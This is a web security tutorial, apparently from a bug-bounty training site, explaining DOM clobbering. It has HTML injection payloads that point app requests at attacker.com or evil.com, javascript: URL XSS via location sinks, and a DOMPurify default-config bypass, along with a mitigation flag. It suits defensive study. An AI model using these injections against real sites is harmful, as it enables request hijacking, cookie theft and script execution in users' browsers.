Quick answer
DOM clobbering takes advantage of the fact that HTML elements with an id or name are automatically exposed as properties of document and window. If an app reads window.config.apiBase or document.foo.bar expecting a JS object, the attacker can inject <form id="config"><input name="apiBase" value="https://evil.com"> and the access via property lookup returns the HTMLElement as if it were the expected object. It allows bypassing sanitizers (DOMPurify by default allows name/id attributes) and HTML-only injection that escalates to JS execution.
The base mechanism
The HTML5 spec declares that, for compatibility with legacy code, elements with an id or name are exposed in the global scope:
<div id="myVar"></div>
console.log(window.myVar); // HTMLDivElement
console.log(myVar); // Same, sin prefijo window
If two elements have the same id, JS returns an HTMLCollection:
<a id="link"></a>
<a id="link"></a>
window.link; // HTMLCollection [a, a]
And inside a <form>, the <input name="foo"> are exposed as properties of the form:
<form id="config">
<input name="apiBase" value="https://attacker.com">
</form>
window.config.apiBase; // HTMLInputElement
window.config.apiBase.value; // "https://attacker.com"
When the app coerces this to a string (concat, template literal, fetch), the browser calls toString(), which returns the value attribute for <input> or the href for <a>.
Basic vulnerable pattern
// App busca window.config (espera objeto JS)
if (window.config && window.config.apiBase) {
fetch(window.config.apiBase + '/data');
}
If the attacker can inject HTML only (no <script>), they wouldn't need JS execution. Just:
<a id="config"></a>
<a id="config" name="apiBase" href="https://attacker.com//"></a>
window.config resolves to an HTMLCollection with two <a>. Property access .apiBase searches by name → the second <a>. Coerce to a string → the href. Result: the app does fetch('https://attacker.com//data') with the user's cookies.
Clobberable elements — reference table
| Element | toString() returns | Property exposure |
|---|---|---|
<a id="x" href="URL"> | The href URL | window.x |
<area id="x" href="URL"> | The href URL | window.x |
<form id="x"><input name="y"> | [object HTMLFormElement] | window.x.y = input element |
<iframe id="x" src="URL"> | The src URL | window.x (the iframe's Window object) |
<img id="x" src="URL"> | The src URL | window.x |
<object id="x" data="URL"> | The data URL | window.x |
<embed id="x" src="URL"> | The src URL | window.x |
<base href="URL"> | n/a | Changes the relative base URL |
Anchor tag — the most versatile clobber
<a> makes its toString() return the href:
<a id="x" href="https://attacker.com"></a>
String(window.x); // "https://attacker.com"
window.x + ''; // "https://attacker.com"
`${window.x}`; // "https://attacker.com"
Any sink that concatenates or uses a template literal with window.x now redirects to attacker.com.
Useful variants
<!-- href con javascript: para sinks que asignan a location -->
<a id="redirect" href="javascript:alert(1)"></a>
If the app does location = window.redirect, it triggers XSS (the "soft" location sink accepts javascript:).
<!-- Form con múltiples inputs para construir objeto multi-prop -->
<form id="settings">
<input name="theme" value="dark">
<input name="apiUrl" value="https://evil.com">
<input name="onError" value="ATTACKER_FUNC">
</form>
If the app reads window.settings.theme, .apiUrl, .onError → all clobbered.
Sanitizer bypass — DOMPurify default config
DOMPurify by default allows id and name attributes because they are legitimate HTML attributes (not executable handlers). Without <script> or handlers, sanitization detects nothing dangerous. But the elements stay alive in the DOM and available to clobber:
const dirty = `<form id="config"><input name="apiBase" value="javascript:alert(1)">`;
const clean = DOMPurify.sanitize(dirty);
console.log(clean);
// → <form id="config"><input name="apiBase" value="javascript:alert(1)">
//
// DOMPurify NO bloquea esto. No hay tags ejecutables ni handlers.
// Pero al insertarlo, window.config.apiBase ahora es controlado por atacante.
document.body.innerHTML = clean;
// Cualquier código posterior que lea window.config.apiBase está pwned
location = window.config.apiBase; // → javascript:alert(1)
Correct mitigation
DOMPurify has the SANITIZE_DOM: true config (default) and SANITIZE_NAMED_PROPS: true (not default until v3.x). Enable:
DOMPurify.sanitize(dirty, { SANITIZE_NAMED_PROPS: true });
This prefixes the id/name with user-content-, avoiding collisions with globals. But most apps do NOT enable this flag because they don't know about it.
Keep reading the full chain
The remaining part includes the step-by-step PoC, exploitation code and the full chain that led to impact. Available to subscribers.
Practice this in a lab
Dom Clobbering
Keep learning · free account
Save your progress, unlock advanced payloads and rank your flags.
Related articles
Stored XSS €1200 — sanitizer bypass via SVG href javascript: with entity encoding
Walkthrough of a real €1200 report: stored XSS in POE bypassing a sanitizer fix via SVG with href=`javascript:` and HTML entity encoding over the filtered characters.
Stored XSS in template names — from the most boring field to domain takeover
A template title field, unsanitized, in a session with permissions over domains. A real €1,200 bounty. How to find XSS where nobody looks.
DOM XSS — gadgets, postMessage handlers and CVE-2025-59840
DOM XSS isn't just innerHTML. Sources/sinks, gadget chains via toString(), postMessage handlers without origin checks, broken hash-based routing.